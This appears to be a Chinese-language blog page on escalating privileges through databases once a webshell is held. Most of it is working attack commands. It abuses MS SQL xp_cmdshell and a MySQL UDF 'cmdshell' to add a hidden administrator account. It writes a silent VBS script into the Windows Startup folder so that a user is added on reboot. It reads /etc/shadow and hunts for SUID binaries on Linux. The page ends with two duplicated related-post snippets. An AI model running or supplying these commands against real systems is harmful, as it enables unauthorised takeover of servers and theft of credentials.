--啟用xp_cmdshell
use master
exec sp_configure 'show advanced options', 1
reconfigure with override
exec sp_configure 'xp_cmdshell', 1
reconfigure with override
exec sp_configure 'show advanced options', 0
reconfigure with override
--關閉xp_cmdshell
use master
exec sp_configure 'show advanced options', 1
reconfigure with override
exec sp_configure 'xp_cmdshell', 0
reconfigure with override
exec sp_configure 'show advanced options', 0
reconfigure with override
exec master.dbo.xp_cmdshell 'net user liuyazhuang lyz123 /add'
exec master.dbo.xp_cmdshell 'net localgroup administrators liuyazhuang /add'
exec master.dbo.xp_cmdshell 'net user'
命令列執行mstsc開啟遠端終端,輸入ip位址和剛才新增的使用者名稱和密碼,登入即可。
另外,通過資料庫備份,將批處理命令備份到啟動資料夾下,系統重啟後就會自動執行批處理命令,也能達到提權的效果。
create function cmdshell returns string soname 'udf.dll';
select cmdshell('net user liuyazhuang lyz123 /add');
select cmdshell('net localgroup administrators liuyazhuang /add');
select cmdshell('net localgroup administrators');
select cmdshell('ipconfig/all');
select cmdshell('net user');
select cmdshell('regedit /s d:\wwwroot\3389.reg');
drop function cmdshell;
select cmdshell('netstat -an');
先通過webshell連線資料庫,通過建立表a將vbs指令碼寫入表中,然後匯入啟動項。該指令碼僅對中文版有效,如果使用其他語言版本的作業系統,僅需對"c:\\documents and settings\\all users\\[開始]選單\\程式\\啟動\\a.vbs"這個指令碼進行相應更改。在vbs指令碼後面有乙個"0",表示不彈出cmd視窗,以靜默模式執行。該方法是在通過udf提權失敗的情況下,將vbs插入啟動項中,待系統重啟後將自動新增乙個使用者,示例如下:
create table a (cmd text);
insert into a values("set wshshell=createobject(""wscript.shell"") " );
insert into a values("a=wshshell.run(""cmd.exe /c net user liuyazhuang lyz123 /add"",0) " );
insert into a values("b=wshshell.run(""cmd.exe /c net localgroup administrators liuyazhuang /add"",0) " );
select * from a into outfile "c:\\documents and settings\\all users\\[開始]選單\\程式\\啟動\\a.vbs";
mysql -hlocalhost -uroot -p
system useradd hacker
system passwd hacker
system tail -l /etc/passwd
system tail -l /etc/shadow
內網滲透 linux提權
查詢所有者為使用者的檔案 find type f user 使用者名稱 2 dev null 檢視帶有root許可權的suid命令 find type f perm u s 2 dev null find perm g s o perm u s type f 2 dev null type d 目錄...
MySQL資料庫提權小結
這裡的前提是獲取了webshell是最為方便的,直接檢視資料庫的配置檔案即可,如 conn config data sql common inc等。上面的方法有個缺點,就是給當前 的資料庫使用者的許可權比較低 不是root許可權,不方便後面的一些操作,那麼就需要這第二種方法。安裝目錄為 data m...
MySQL資料庫提權小結
這裡的前提是獲取了webshell是最為方便的,直接檢視資料庫的配置檔案即可,如 conn config data sql common inc等。上面的方法有個缺點,就是給當前 的資料庫使用者的許可權比較低 不是root許可權,不方便後面的一些操作,那麼就需要這第二種方法。安裝目錄為 data m...